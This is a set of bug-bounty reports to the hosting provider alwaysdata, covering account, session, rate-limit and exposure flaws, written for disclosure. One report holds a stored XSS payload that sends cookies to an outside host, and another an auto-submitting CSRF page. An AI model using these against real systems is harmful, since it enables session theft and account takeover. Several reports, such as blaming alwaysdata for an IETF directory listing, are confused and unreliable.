All Projects

Vulnerability Name: Email verification bypass on https://admin.alwaysdata.com/

Steps To Reproduce:
1. Create an account with attacker controlled email like nathanlion1983@gmail.com 2. Verify the email. Go to the accounts page https://admin.alwaysdata.com/admin/details/ 3. Now, change personal details and change the email to victim's email alexandrafredrique@gmail.com 
4. It will update the email without asking for any email verification this time, so the sign up is protected with email verification but the internal section doesn't ask for email verification before changing the email.
5. Now what an attacker can do is, add another user(controlled by him) or create access token in this account, and these will give him persistent access of this account, and whenever in future the user comes and uses the account after recovery the attacker will have access to the account with access tokens/the user added by him which has full access.

Proof Of Concept: (How can we add the screenshots as POC, we don't see any option to upload photos)

Impact: CVSS : 9.1Integrity & Confidentiality: attacker can do anything on this account impersonating the user which impacts confidentiality. Can also add things which will be consistent in the account, which results in persistent access which impacts integrity of the account.Similar email verification bypass reports are - https://hackerone.com/reports/617896 https://hackerone.com/reports/1040047 (but the mentioned reports doesn't have persistent access, these only demonstrate email verification bypass, thus our vulnerability is Critical and the mentioned are High)

Mitigation: The backend is trusting the email after email change, as the account was already verified  at account creation, but it needs to ask for email verification at the email change stage as well, otherwise no point putting email verification at registration.

To: Alwaysdata IT Security Team
From: Raden Adhiyaksa Indiharto
Date: June 9, 2025
Vulnerability: Sensitive Data Exposure

Dear Alwaysdata Security Team,

I hope this message finds you well. I am reaching out to responsibly disclose a security issue I have identified within your infrastructure that may pose a risk to your services and your users.

Vulnerability Summary During passive reconnaissance of your publicly accessible infrastructure, I discovered multiple sensitive API keys and service credentials exposed in plaintext, including:
1. Twilio ACCOUNT_SID and APP_SID values
2. Heroku API keys
3. Amazon AWS S3 bucket URLs

These secrets were found in a file named secret.txt on your domain (alwaysdata.com). The exposed credentials could potentially allow unauthorized access to third-party services, leakage of customer data, or resource abuse.

Steps to Reproduce 1. Access the Alwaysdata public directory.
2. Locate the file named secret.txt.
3. Run the following commands to filter sensitive credentials:

cat secret.txt | grep Heroku
cat secret.txt | grep twilio
cat secret.txt | grep aws

4. This revealed a number of API keys and identifiers, as shown in the screenshots I have attached to this report.

Suggested Remediation 1. Immediately remove the publicly exposed file or restrict access to it.
2. Revoke and rotate all exposed API keys (Twilio, Heroku, AWS, etc.).
3. Conduct an internal audit to ensure no unauthorized access has occurred using these credentials.
4. Consider implementing secret scanning tools in your CI/CD pipelines to prevent future exposures.

Additional Note At this point, no further exploitation has been carried out, and no services have been interacted with using the exposed credentials. However, if you require a deeper assessment or verification of the actual impact and exploitability, I am open to performing controlled testing with your permission.

Please advise if the investigation should stop at this discovery phase, or if you would like me to assist further in validating the scope of the exposure.

Disclosure Policy This report has not been shared publicly. I am committed to responsible disclosure and will not publish or use this information in any way that may harm your services or users. Please let me know if you need any further details or assistance in mitigating this issue.

Thank you for your attention, and I look forward to your response.

Kind regards,
Raden Adhiyaksa Indiharto

email: radenadhiyaksa89@gmail.com

Link Video, Image, and File PoC
https://drive.google.com/drive/folders/1pTvtlZmsxj9LIhyAwNnDN5ZRqGnweZs3?usp=sharing

Hi my name is Rehan and I discovered that the login endpoint at https://admin.alwaysdata.com/login/?next=/ doesn't have any sort of rate limiting in place.

This leads to account takeover of any user. You just have to know his/her email. That's the only prerequisite.

What I did:
1. I sent 50 login requests using intruder.

2. Set the intruder with fake 49 passwords and 50th being the correct password.

3. All requests go through without any error like too many requests, IP block or even temporary account lockout.

4. All 49 requests were processed with 200 OK implying that the password is wrong. However the 50th request gives a 302 error confirming the correct password.

IMPACT:
Account takeover:

This will give an attacker a way to send lot of requests and ultimately takeover the victim account when the response shows a 302 redirection.

I have read your stance on absence of rate limit on password reset endpoints as i read the tasklist. I know email flooding isn't really a big of a problem. However, I'm sending you this report because having no rate limit on login endpoint doesn't seem all too well. This is because having no rate limit on login leads to account takeover of any user.

It's not about flooding someone's inbox but actually taking over someone else's account. I hope you get my point here.

Recommendation:

1. Implement rate limiting after certain number of attempts. Give the user some time to try again like after 5 minutes.

2. Block the IP from sending more requests and send an automated message to victim informing him of login attempts.

#No email verification required when we change email from settings

Hello Team,

Issue:
When we try to signup with an email, it asks us for clicking a email validation link which is sent to our email, then we have to login, without clicking that link, we cannot login, but when we change email from user settings page/edit settings page, it doesn't asks us for validation..

Impact:
For example, a user creates an account with his email (user@example.com) and verifies it using the link which has been sent to his email, as he/she have access to user@example.com, but next he goes to settings and in email change mechanism, he can put any email like (president@whitehouse.gov) and no verification is required, and the user can login with that email and access his account with the email president@whitehouse.gov, and do some abusive or not good activities and the company will be blamed!

New steps to reproduce:
Go to profile settings
Enter any email
Submit settings → Account will be accessible without verification!

How to fix?
Email verification/validation should be required when a user changed email from user settings page..
I hope you'll fix it soon.

Thank You,

Waleed Anwar

Dear Alwaysdata IT Team,

My name is Raden Adhiyaksa Indiharto, and I am a Security Researcher. I have identified a Blind Stored Cross-Site Scripting (XSS) vulnerability within your web application, specifically in the contact form endpoint located at:

https://www.alwaysdata.com/en/contact/

The purpose of this letter is to responsibly disclose the details of this vulnerability in order to assist your team in addressing this security issue effectively.

Vulnerability Summary

• Vulnerability Type: Blind Stored Cross-Site Scripting (XSS)
• Affected Endpoint: /en/contact/ (POST method, JSON input)
• Payload Location: Malicious scripts are injected into the form fields form-mail-name and form-mail-message.
• Impact: The injected JavaScript code executes when an administrator or user views the stored input on the dashboard or relevant data views.
• Severity: Medium to High (depending on victim interaction)

CVSS (v3.1) Score Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) None (N)
User Interaction (UI) Required (R)
Scope (S) Unchanged (U)
Confidentiality (C) High (H)
Integrity (I) High (H)
Availability (A) None (N)
Base Score: 7.4 (High)
Severity Rating: High

Technical Details The vulnerability was demonstrated by sending a crafted JSON payload to the contact form endpoint, as shown below:

{
  "form-mail-email": "attacker@gmail.com",
  "form-mail-name": "<iframe srcdoc=\"<script>new Image().src='https://xss.report/c/raden?c='+document.cookie</script>\"></iframe>",
  "form-mail-message": "<iframe srcdoc=\"<script>new Image().src='https://xss.report/c/raden?c='+document.cookie</script>\"></iframe>"
}

This payload injects an iframe containing a script that creates a new image request to an external server, sending the victim’s cookies as query parameters. Because the payload is stored, it executes silently when the stored data is accessed, classifying it as a blind stored XSS vulnerability.

Trigger Condition The malicious script executes only when an administrator or user opens the dashboard or data view where the stored input is displayed. This delayed execution makes the vulnerability harder to detect.

Server Response

HTTP/2 200 OK
Content-Length: 2
ok

confirming that the malicious input was successfully stored.

Potential Impact

• Unauthorized disclosure of session cookies and sensitive data.
• Potential account takeover, privilege escalation, and unauthorized access.
• Difficult to detect due to blind nature (the attacker does not see immediate effects).

Recommendations for Mitigation

• Input Validation and Sanitization:

Filter and sanitize all inputs to reject or escape HTML and script content.

• Output Encoding:

Properly encode data before rendering it in the UI to prevent script execution.

• Content Security Policy (CSP):

Implement CSP headers to restrict sources of executable scripts.

• Security Testing:

Engage in regular security audits and include XSS-focused penetration testing.

Note The payload works by executing only when an administrator or user opens the dashboard or view page where the stored input is displayed. This confirms that further exploitation would require the victim to interact with that interface. At this stage, you may consider whether this level of proof of concept sufficiently demonstrates the risk, or if additional exploitation steps are necessary to showcase the impact in greater detail.

Thank you for your attention and commitment to security.

Best regards,
Raden Adhiyaksa Indiharto
Security Researcher

Link Video and Image Proof of Concept https://drive.google.com/drive/folders/1pTvtlZmsxj9LIhyAwNnDN5ZRqGnweZs3?usp=sharing

# Weak password policy in Webmail.alwaysdata.com

Hello Team, I hope you are doing well. While, Researching in your domain I found Weak password policy in Webmail.alwaysdata.com.

I get to know that you are using strong password policy.
I gone through application and checked for that.
and get to know that as per ISO9001 security compliance weak password policy.

#Steps to Reproduce:

1. Login into https://admin.alwaysdata.com/login/.
2. Go to https://admin.alwaysdata.com/mailbox/ and Change Password to 👨‍👩‍👧‍👦.
3. Password will be Changed to 👨‍👩‍👧‍👦.

Impact:

Use Strong Password Policy and remove these Unicode Character's.

Thank You,

Waleed Anwar

# Insecure Cache-Control Leading to View Email and Message's in https://www.alwaysdata.com/en/abuse/

Hello Team, I hope you are doing well. While, Researching in your domain I found Insecure Cache-Control Leading to View Email and Message's in https://www.alwaysdata.com/en/abuse/

# Steps to Reproduce:

1. Go to https://www.alwaysdata.com/en/abuse/.
2. Fill the form and submit it.
3. Visit every page in url or press back button in browser you can see that email or any sensitive message's are already feeded.

# Impact:

In a PC scenario in an office or in a library or in a coffee shop to view sensitive message's and email also.

# Note:

Tested in Chrome latest version, Mobile Device, FireFox and IE.

Thank You,

Waleed Anwar

Summary:

Hello,

I have identified a critical race condition vulnerability on alwaysdata.com that allows any authenticated user to bypass account restrictions and provision unlimited 100MB free cloud instances.
This issue can be exploited using Burp Suite along with the Turbo Intruder extension, although other tools capable of concurrent requests may also be used.

Steps to Reproduce:

1. Log into any valid user account on https://admin.alwaysdata.com.
2. Make sure the account does not already own a 100MB free cloud instance.
3. Start creating a new 100MB free cloud subscription via the interface.
4. Intercept the request sent to the following endpoint:

 POST /admin/account/add/ HTTP/1.1
 Host: admin.alwaysdata.com

5 - Modify the name parameter by inserting %s, which Turbo Intruder will later replace using a wordlist.
6 - Configure Turbo Intruder to fire multiple concurrent requests to that endpoint using the modified payload:

 csrfmiddlewaretoken=<csrf>&name=%s&password=<yourpass>&location=datacenter_3&product=1&period=1mo&submit=

7 - Launch the Turbo Intruder attack.

You’ll observe multiple responses with a similar length (~270), which indicates that several cloud instances were successfully created concurrently.

Check your subscription list: you'll notice that multiple 100MB free clouds have been added, bypassing the expected 1-instance restriction.

Proof of Concept (Video):

https://youtu.be/GWuo8FdqC1s

Impact:

This vulnerability allows any authenticated user to:

• Bypass subscription restrictions and claim multiple "free tier" services.

• Abuse storage resources by stacking unlimited 100MB instances.

• Impact the platform’s financial stability due to misuse of free offerings.

• Overload infrastructure, potentially degrading performance or availability for other users.

• Undermine alwaysdata’s business model, by rendering subscription limits ineffective.

In short, this vulnerability could be weaponized to consume massive amounts of storage at zero cost, with no rate limit or quota enforcement preventing abuse.

Recommendations: Implement server-side locking or atomic operations to prevent concurrent subscription creation.

Apply idempotency checks and enforce strict rate limiting.

Consider rejecting duplicate subscription requests at the application logic level, even under concurrent load.

Contact: If you need additional information, reproduction support, or testing help, feel free to reach out.

Best regards,
dav3n

# Summary:
The discovered vulnerability allows for the bypass of Two-Factor Authentication (2FA) mechanisms through the exploitation of leaked cookies. By intercepting and utilizing these cookies, an attacker can gain unauthorized access to user accounts without the need for the second authentication factor, compromising the security of the system.

# Steps To Reproduce:
1.Navigate to the account settings and enable 2FA.
2.Log out and log back in using valid credentials.
3.Enter the required 2FA code to proceed.
4.Export session cookies using a cookie editor tool.
5.Paste the copied cookies into another browser
6 Access the account without providing the 2FA code,2FA Authentication bypassed.

# Mitigation:
Introduce device-based Two-Factor Authentication (2FA) mechanisms that require additional verification steps when signing in from new or unrecognized devices, browsers, or locations. This adds an extra layer of security by verifying the identity of the user and the device being used for authentication.

# Impact:
The vulnerability allows attackers to bypass Two-Factor Authentication (2FA) mechanisms by stealing and utilizing session cookies obtained through various means, such as man-in-the-middle (MITM) attacks using tools like Evilginx2. By exploiting this vulnerability, attackers can gain unauthorized access to user accounts without the need for the second authentication factor, compromising the security of the system and potentially leading to unauthorized data access, fraudulent transactions, or other malicious activities.

Thank You,

Waleed Anwar

# Insecure Cache-Control Leading to View Email and Password in https://webmail.alwaysdata.com/?from_roundcube=1.

Hello Team, I hope you are doing well. While, Researching in your domain I found Insecure Cache-Control Leading to View Email and Password in https://webmail.alwaysdata.com/?from_roundcube=1.

# Steps to Reproduce:

1. Login to https://webmail.alwaysdata.com/?from_roundcube=1.
2. Visit every Pages in https://webmail.alwaysdata.com/?from_roundcube=1 after the login.
3. Logout from the account.
4. Click Back Button 9 to 10 times.
5. You can get your email and password in the Login form. ( Toggle to See the Password)

# Impact:

In a PC scenario in an office or in a library or in a coffee shop or such places allow for an attacker to exploit this vulnerability (since the amount of pages visited after visiting doesn't matter). Also it is very easy to get access to a laptop, so this is a likable scenario, and once it happens the attacker has full control over the victim's app data since he/she can use the account.

# Note:

Tested in Chrome latest version, Mobile Device.
Doesn't exploitable in FireFox.

Thank You,

Waleed Anwar

Hi Team,

I wish you a great day ahead, Please take time to review this report and let me know if there is anything I can help you with.

Summary:
A publicly accessible .git/config file has been discovered at https://security.alwaysdata.com/.git/config. This exposure may indicate that the entire .git/ directory is accessible, allowing for potential leakage of source code, repository metadata, internal configuration, and potentially sensitive information.

Proof of Concept (PoC):
1. Visit the following URL: https://security.alwaysdata.com/.git/config 2. The server responds with Git configuration details:

[core]

  repositoryformatversion = 0
  filemode = true
  bare = false
  logallrefupdates = true

[remote "origin"]

  url = https://github.com/flyspray/flyspray.git
  fetch = +refs/heads/*:refs/remotes/origin/*

[branch "master"]

  remote = origin
  merge = refs/heads/master

3. Other files likely accessible:

.git/HEAD

.git/index

.git/logs/HEAD

.git/objects/ (may allow full repo reconstruction)

4. I was able to access the following links :
https://security.alwaysdata.com/.git/config https://security.alwaysdata.com/.git/logs/HEAD https://security.alwaysdata.com/.git/refs/heads/master

Security Impact:
1. Exposed .git/ directories can be exploited to:
2. Download the entire source code via tools like git-dumper or DVCS-Pillage.
3. Identify internal logic, vulnerabilities, or credentials.
4. Facilitate targeted exploitation by analyzing application internals.
5. This is a well-known vulnerability class and has been featured in multiple security advisories (e.g., NCSC CH advisory).

Recommendation:

• Immediately restrict public access to the .git/ directory using server configuration (e.g., .htaccess, nginx rules).

• Audit the repository history for any sensitive data accidentally committed.

• Monitor for any suspicious activity or exploitation attempts.

Disclosure Policy:
This report is submitted in good faith under your published Bug Bounty Program. Please let me know if additional details or testing are needed. I will not disclose this issue publicly without your explicit permission.

Thank you for your attention to this issue.

Best regards,
TheeHerbie

Vulnerability Description:

A vulnerability has been discovered in Alwaysdata's email management system that allows an attacker to retain an active Webmail session even after the associated email address has been renamed in the control panel. This issue enables unauthorized access to the previous email identity and settings, potentially allowing an attacker to maintain control without the new user's awareness.

—

Steps to Reproduce:

1. The attacker adds a custom domain (e.g., test.com) to their Alwaysdata account.

2. They create an email address like admin@test.com and log in to Webmail (webmail.alwaysdata.com), keeping the session active.

3. The attacker then goes to the control panel (admin.alwaysdata.com) and renames the email address to something else (e.g., info@test.com) and saves the changes.

4. Although admin@test.com no longer exists in the interface, its Webmail session remains active.

5. The attacker deletes the domain test.com from their account.

6. The Webmail session for admin@test.com is still valid, and the attacker can access and modify email settings.

—Proof of Concept (PoC) Provided: https://admin.alwaysdata.com/support/86544/

Impact of the Vulnerability:

Modification of email settings.

Wide-scale exploitation: The attacker can repeat the process with multiple domains, allowing them to gain control over different email accounts.

Recommendations to Fix the Vulnerability:

1. Terminate all active sessions immediately when an account is deleted or a domain is removed.

2. Link sessions to the user account instead of just the domain to ensure sessions do not transfer between different users.

This vulnerability poses a serious threat to user privacy and account security, and we strongly recommend fixing it as soon as possible.

Hello Team,

I hope you are doing well. While researching in your domain, I found User can Create Token after Disabling 2fa.

Steps to Reproduce:

1. Login into your account admin.alwaysdata.com
2. Go to Profile Section and enable 2fa for Generate Token.
3. 2fa is Enabled and now you can Generate a Token.
4. After then, Disable 2fa and don't refresh the page and don't logout from your account, you can click on Generate Token Button and if you can see that You can Generate Token after disabling 2fa.

Impact:

User Can Create Multiple token after disabling 2fa, which is the bypass of 2fa also.

Thank You,

Waleed Anwar

Title:
Website uses an outdated version of jQuery detected via Wappalyzer

Environment:

Device: PC / Laptop

Browser: Chrome (latest version)

Tools Used: Wappalyzer Extension

Steps to Reproduce:

1. Open [https://www.alwaysdata.com] in Chrome.

2. Open Wappalyzer extension while on the website.

3. Observe the version of jQuery listed.

Expected Result:
Website should use the latest stable version of jQuery to ensure security, performance, and compatibility.

Actual Result:
Wappalyzer reports that the website is using an outdated version of jQuery (e.g., jQuery 1.12.4 — released in 2016).

Impact:

Potential security vulnerabilities due to known exploits in older jQuery versions.

Compatibility issues with newer browsers or plugins.

Possible performance limitations.

Evidence:
(Screenshot from Wappalyzer showing the outdated jQuery version)

Recommendations:

Update jQuery to the latest stable release (currently [insert version number, e.g., 3.7.1]).

Test the website thoroughly after upgrading to ensure no functionality breaks

Hi Sir,

i am a Security researcher and a full time bug hunter i saw your bug
bounty program so i decided to test some vulnerability and i got No
Rate limiting on login form

here is the brief introduction of my bug please have a look

Severity = 6.5 to 7.5 (Medium to High)

(*) What is No Rate Limiting on the Login Form?

Rate limiting is a security measure that restricts the number of
requests a user can make to a server or system in a defined time
period. It helps mitigate brute force attacks by limiting the number
of login attempts a user can make in a short time frame.

When no rate limiting is applied to a login form, an attacker or
malicious user can send an unlimited number of requests, trying
various combinations of usernames and passwords. This could result in
unauthorized access or application-level denial of service (DDoS)
attacks if abused.

Overview of this Vulnerability During testing of the login functionality, I discovered a rate limiting bypass based on HTTP method manipulation. While the application initially enforced rate limiting when using the PUT method, switching the request method to PUT allowed me to bypass this protection entirely. Using the PUT method, I was able to send over 2,000 login requests without triggering any rate limiting mechanisms such as throttling, CAPTCHA, or account lockout. This confirms that the rate limiting controls are not consistently enforced across different HTTP methods. As a result, the application is exposed to brute force, credential stuffing, and denial-of-service attacks, allowing attackers to automate large-scale login attempts without restriction. Impacts

(1) Brute Force & Credential Stuffing Attacks:

Without rate limiting, attackers can try an unlimited number of
password combinations against the login form. This allows for brute
force or credential stuffing attacks, where an attacker can automate
the process of trying stolen or commonly used passwords for a given
username. With no restrictions on the number of login attempts, it
significantly increases the chances of gaining unauthorized access to
user accounts

(2) Account Takeover (ATO) Risk:

The absence of rate limiting makes it easier for attackers to gain
access to user accounts by attempting multiple password combinations.
Once an attacker successfully cracks a password, they can take over an
account and perform malicious actions, such as stealing sensitive data
or making unauthorized transactions.

(3) Denial of Service (DoS) or Application-Level DDoS:

The lack of rate limiting on the login form means that the server can
be overwhelmed with a high volume of requests. Attackers can flood the
login page with thousands of requests, leading to potential server
downtime or slowdowns. This can prevent legitimate users from
accessing the site, degrading the user experience and disrupting
normal service operations. It can also lead to increased server load
and higher operational costs.

(4) Increased Attack Surface for Automated Tools:

Automated tools like Burp Suite Intruder or Hydra can easily exploit
the lack of rate limiting, allowing attackers to test massive amounts
of login credentials in a short period of time. This increases the
risk of automated attacks, as attackers can use these tools to exploit
the vulnerability without manual intervention.

(5) Loss of Trust and Reputation:

If attackers are able to successfully break into accounts due to the
lack of rate limiting, it can lead to a loss of trust among users. If
users discover that their accounts can be easily compromised, it could
damage the reputation of the service or platform, leading to reduced
user engagement and retention.

Steps to reproduce (1) Navigate to the url https://translate.alwaysdata.com/login/?next=/ (2) Configure Burp Suite or any proxy tool (such as FoxyProxy in
Firefox) to intercept the HTTP request. (3) Attempt to log in with invalid credentials:
Submit a login attempt using incorrect username/password. Intercept this request and send it to Burp Repeater. (4) Send the same request multiple times in Repeater:
Continuously send the POST request.
After a certain number of requests, you’ll observe a 429 Too Many Requests response, confirming that the server has rate limiting in place for POST requests. (5) Modify the request method from POST to PUT in Repeater: Change the HTTP method from POST to PUT (keeping the same endpoint and parameters). Send the modified request and observe the 403 Bad Request response. (6)Send the modified PUT request to Burp Intruder: After modifying the method to PUT, send the request to Burp Intruder to test it with a wordlist.
Load a wordlist (e.g., Word.txt). (7) Send 2,000+ requests: I sent over 2,000 requests with invalid credentials and continued to receive HTTP 403 responses, confirming that rate limiting was bypassed and there were no restrictions for GET requests. (8) Observe Results: The system did not trigger any lockouts, CAPTCHAs, IP blocks, or delays between requests, confirming the absence of rate limiting on the PUT method. Proof of Concept (PoC)

i am providing some videos and screenshot of this vulnerability as proof of concept for this vulnerability

refer this link for all the pocs = https://drive.google.com/file/d/17NAxfE1BfyapBJuy3mCq01b47iBR3zCQ/view

I will be waiting for your reply team

Regards,
Sudo
Security researcher / Bug Hunter

URL:https://www.alwaysdata.com/en/sitemap.xml

🔍 Issue Summary:
The sitemap XML at the above URL is accessible but lacks associated XSL styling, causing the browser to display a raw XML tree with a message stating:

"This XML file does not appear to have any style information associated with it. The document tree is shown below."

💡 Expected Behavior:
The sitemap should either:

Include a reference to an XSL stylesheet to format the output for human readability, OR

Deliver plain XML without browser-rendered HTML or inline styles/CSS that could lead to unintended display artifacts.

📋 Actual Behavior:
The XML document is correctly structured and functional.

However, extraneous CSS code appears to be injected into the XML, potentially due to frontend theme/style conflicts or incorrect server handling.

🧪 Steps to Reproduce:
Navigate to https://www.alwaysdata.com/en/sitemap.xml in any browser.

Observe the browser warning about missing style information.

Scroll down to see unexpected CSS classes and style rules (e.g., .aifnmjmchg.light, :host([class=light])), which are not part of a standard sitemap file.

🧠 Root Cause Hypothesis:
The web server may be unintentionally injecting global CSS or theme-related JavaScript/CSS into all responses, including .xml files.

This could be a misconfigured template handler or inclusion of global styles across all content types.

🎯 Suggested Fix:
Ensure that the sitemap endpoint delivers pure XML with proper MIME type (application/xml) without CSS injection.

Optionally, provide an XSL stylesheet for better browser presentation if needed.

Review middleware or template rendering logic that might be appending global assets to all responses.

✅ Impact:
SEO crawlers are likely unaffected.

However, human readability is degraded, and it may hint at larger asset delivery misconfigurations.

Potentially impacts maintainability, developer trust, or bug bounty program quality.

Bug Name:
Directory Traversal through Sitemap Schema Reference

Severity:
Medium to High (Information Disclosure)

URL Affected:
https://www.alwaysdata.com/en/sitemap.xml → references → http://www.sitemaps.org/schemas/sitemap/0.9 → references → https://www.ietf.org/rfc/

🔁 Steps to Reproduce:
Go to https://www.alwaysdata.com/en/sitemap.xml.

View the linked schema:

<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
Open the namespace URL: http://www.sitemaps.org/schemas/sitemap/0.9

From that page, locate and visit: https://www.ietf.org/rfc/

Observe that the directory listing is enabled on https://www.ietf.org/rfc/.

🧾 Observed Behavior:
The https://www.ietf.org/rfc/ URL is openly listing all files in the directory, including:

PDF documents

HTML versions

JSON files

File sizes and last modified dates

✅ Expected Behavior:
Directory listing should be disabled to prevent information disclosure.

The endpoint should return a 403 Forbidden or a custom error page.

📌 Impact:
Unintended information disclosure through exposed documents and file structures.

Can help attackers understand server structure or gather sensitive metadata.

May affect trust if directory listing is not intended behavior.

poc :

https://drive.google.com/file/d/198YaCBfL4Zn8iAtGN3FdHPg3-JMt-4Q0/view?usp=sharing

Vulnerability Name:

Category:

Risk Level:

Description:

$df -h | grep /home
http16.paris1:/username         3.4T  2.6T  873G  75% /home/username
http14.paris1:/username            3.4T  494G  3.0T  15% /home/username
http13.paris1:/username            3.4T  2.5T  994G  72% /home/username
...

Impact:

Recommendation:

References:

Vulnerability Summary
Title: Privilege Escalation via Unvalidated Invitation Deletion Leading to Unrestricted Account Creation

Severity: High (Potential Impact: Unauthorized Account Proliferation, Bypass of Email Verification)

Vulnerability Type: Logic Flaw / Privilege Escalation

Affected Functionality: User Invitation & Account Registration System

Detailed Vulnerability Description

1. Vulnerability Discovery
While testing the privilege escalation mechanisms on admin.alwaysdata.com, I investigated the account invitation system. The process involves:
- Creating an account using my primary email: akashghoshakg19@gmail.com
- Inviting a secondary email: akashghoshakg19+6@gmail.com (Gmail alias)

2. Unexpected Behavior Observed
After sending the invitation, I deleted the invitation before the secondary email accepted it. However, the invitation link remained functional, allowing the secondary account (akashghoshakg19+6@gmail.com) to successfully register.

How can i sure that

Well, when i deleted my secondary account (akashghoshakg19+6@gmail.com),it sends an confirmation email to my main accout (akashghoshakg19@gmail.com) which shows in the attached video POC.

3. Impact Analysis
- Bypass of Email Verification: The system does not properly invalidate deleted invitations, allowing unauthorized account creation.
- Unrestricted Account Proliferation: An attacker can exploit this flaw to create multiple accounts without proper validation checks.
- Potential Abuse Scenarios:

1. Spamming the platform with fake accounts
2. Bypassing rate limits or sign-up restrictions
3. Conducting fraudulent activities under multiple identities

### 4. Proof of Concept (PoC)
Steps to Reproduce:
1. Register an account with: `akashghoshakg19@gmail.com`
2. Invite a secondary email: `akashghoshakg19+6@gmail.com`
3. Delete the invitation before the secondary user accepts it.
4. Observe that the invitation link still works, allowing `akashghoshakg19+6@gmail.com` to register.
5. Check the primary email (`akashghoshakg19@gmail.com`) – it receives a confirmation, but the system fails to enforce proper validation.

Evidence:

The video POC link: https://drive.google.com/file/d/1VmByRPCRfixrQvDWKmMnRO9KAJjT2GzB/view?usp=sharing

Security Impact
- Privilege Escalation Risk: Attackers can create multiple accounts without proper verification.
- Account Takeover Potential: If combined with other flaws, this could lead to unauthorized access.
- System Abuse: Malicious users can exploit this to evade detection and launch attacks.

Recommendations for Fix
1. Immediate Invalidation of Deleted Invitations:

1. Ensure that once an invitation is deleted, the associated link is immediately invalidated.

2. Strict Session & Token Validation:

1. Implement server-side checks to verify invitation status before allowing registration.

3. Rate Limiting & Monitoring:

1. Enforce stricter rate limits on account creation to prevent mass exploitation.

4. Email Verification Enforcement:

1. Require fresh verification for all invited accounts, regardless of invitation status.

Conclusion
This vulnerability allows bypassing critical security checks in the account registration process, leading to privilege escalation and potential system abuse. Immediate remediation is recommended to prevent exploitation.

Two critical vulnerabilities were identified in the `admin.alwaysdata.com` panel:

1. Broken Access Control via browser back-navigation (Alt+←), exposing sensitive user data post-logout.
2. CSRF (Cross-Site Request Forgery) via a GET request that allows unauthorized deletion of user accounts.

—

### 🧪 Steps to Reproduce

#### 🐞 Part 1: Broken Access Control via Browser Back Navigation

1. Login to the application: [https://admin.alwaysdata.com](https://admin.alwaysdata.com)
2. Navigate to user details:

 Example:  
 `https://admin.alwaysdata.com/admin/details/384337/deletee/`

3. Logout from the application.
4. Press Alt + Left Arrow (or use browser back button).
5. ⚠️ Result: The previously authenticated page is shown again, leaking sensitive user information (even though the user has logged out).

Impact: An attacker who gains temporary access to the session or has physical access to the system can access previously authenticated content even after logout.

—

#### 🐞 Part 2: CSRF - Account Deletion via GET Request

The following endpoint allows account deletion via a GET request, making it vulnerable to CSRF.

##### 🔓 CSRF Exploit HTML

```html

  <body onload="document.forms[0].submit()">
    <form action="https://admin.alwaysdata.com/admin/details/384337/delete/" method="GET">
      <input type="hidden" name="reason" value="Testing CSRF exploit" />
    </form>
  </body>

```

#### Steps:

1. Host this HTML file on any domain under your control.
2. Send the link to a logged-in admin user (victim).
3. When the victim clicks the link, the page auto-submits a GET request to:

 ```
 https://admin.alwaysdata.com/admin/details/384337/delete/?reason=Testing+CSRF+exploit
 ```

4. If he /she click the delete button it will be deleted.

—

### 💥 Combined Impact

By chaining these two issues, an attacker could:

- Extract sensitive data via broken access control (using back-navigation after logout).
- Delete user accounts via CSRF without authentication or confirmation.

—

### 🔐 Recommended Fixes

1. Fix Broken Access Control:

1. Invalidate cached pages using proper cache-control headers:

```http

   Cache-Control: no-store, no-cache, must-revalidate
   Pragma: no-cache
   ```
 - Implement server-side checks to reject requests after session termination.

2. Fix CSRF in Sensitive Actions:

1. Use POST requests for state-changing actions (like deletion).
2. Implement CSRF tokens and validate them on every form submission.

—

POC Link: https://drive.google.com/file/d/1BSTP_m8nxiP4h-bQIq9OsiCRmYlBJuaO/view?usp=sharing

no task description

I am a security researcher and as a part of the Bug bounty program I want to responsibly disclose credentials leak that I have identified for some of your customers. The credentials leaked are part of stealer logs data which has been stolen from browsers of your customers and has been made public.
I have identified leaked credentials on dark web and telegram. These credentials when used in browsers like chrome also gives you a warning of it being part of the breach. Attaching a screenshot of the same for your reference.
Please use the below mentioned credentials to replicate the issue

URL: https://admin.alwaysdata.com/login/ Username: Swaa…@gmail.com Password: HIDDEN

Username: abin.m…@gmail.com Password: HIDDEN

Username: form.d…@gmail.com Password: HIDDEN

Remediation:
1. Notify the mentioned users about the breach and ask them to change their password.
2. Block the users in the backend and force them to change their password in next login attempt.

#2FA is not Initiating on User Account

Hello Team, I hope you are doing well. While Researching in your domain I found 2Fa is not Initiating on User Account in your domain.

Steps to Reproduce:

1: Create a account in admin.alwaysdata.com.
2. Initiate 2fa on your account.
3. Go to Permission Section Add a Email in email Section and Check the 2fa Required box and make some Global Permission you want to proceed and then submit.

4. User receive Profile Initialization in your email, User can fill the form and then submit the form, he/she directly login on o your account without any 2fa Initialization in which administrator can check the 2fa required box.

Impact:

Administrator can imagine he/she initiate 2fa requirement on user account but 2fa is enabled on user account. User can easily access their account and admin permission without 2fa prompting.

Thank You,

Waleed Anwar

Failure to invalidate sever after password change in Webdav

Hello Team,

I hope you are doing well. While Researching in your domain I found Failure to invalidate server after password change vulnerability in your domain.

Steps to Reproduce:

1.Go to https://admin.alwaysdata.com/webdav/ and set a password for user and then submit.
2.Then, go to your PC to Connect Webdav Server with your Windows/Linux.
3.Again go tohttps://admin.alwaysdata.com/webdav/ and then change the password and submit it.
4.You can see that server is still validated and files are accessible in your webdav server which is connected with your PC.

Impact
If attacker have gain access in someone Pc, he/she access these files without any error. As server is not destroyed, attacker will be still access these files, cause his server is still active.. Server should be destroyed can take effect immediately when password is changed.

Thank You,

Waleed Anwar

Hi,
The Encryption key from alwaysdata Security Team has expired, making it impossible for security researchers to securely report vulnerabilities / messages via encrypted communication. This can prevent security researchers or users from securely reporting vulnerabilities / sending messages, as they may not be able to encrypt their messages. Expired key reduce the effectiveness of the responsible disclosure process and can expose organizations to unreported security risks.
The lack of a valid GPG/PGP key introduces unnecessary risk, especially when a critical vulnerability is involved. It is currently not doing its job.

Upon verification, the referenced PGP key has the following:
Expiration Date: [expired: 2022-12-11]
Status: Expired

Steps To Reproduce:
Check key from alwaysdata security site https://help.alwaysdata.com/en/security/bug-bounty/ as presented below in POC section below.

Proof of Concept - POC:
From your security site https://help.alwaysdata.com/en/security/bug-bounty/
"Reports about vulnerabilities are examined by our security analysts. If you need to encrypt payload, we strongly recommend you to use the 0xDFDD2138A363986B GPG public key. Reports must be submitted using our bug tracking interface."
With added link https://www.alwaysdata.com/static/0xDFDD2138A363986B.pub.asc

From Terminal:
wget https://www.alwaysdata.com/static/0xDFDD2138A363986B.pub.asc

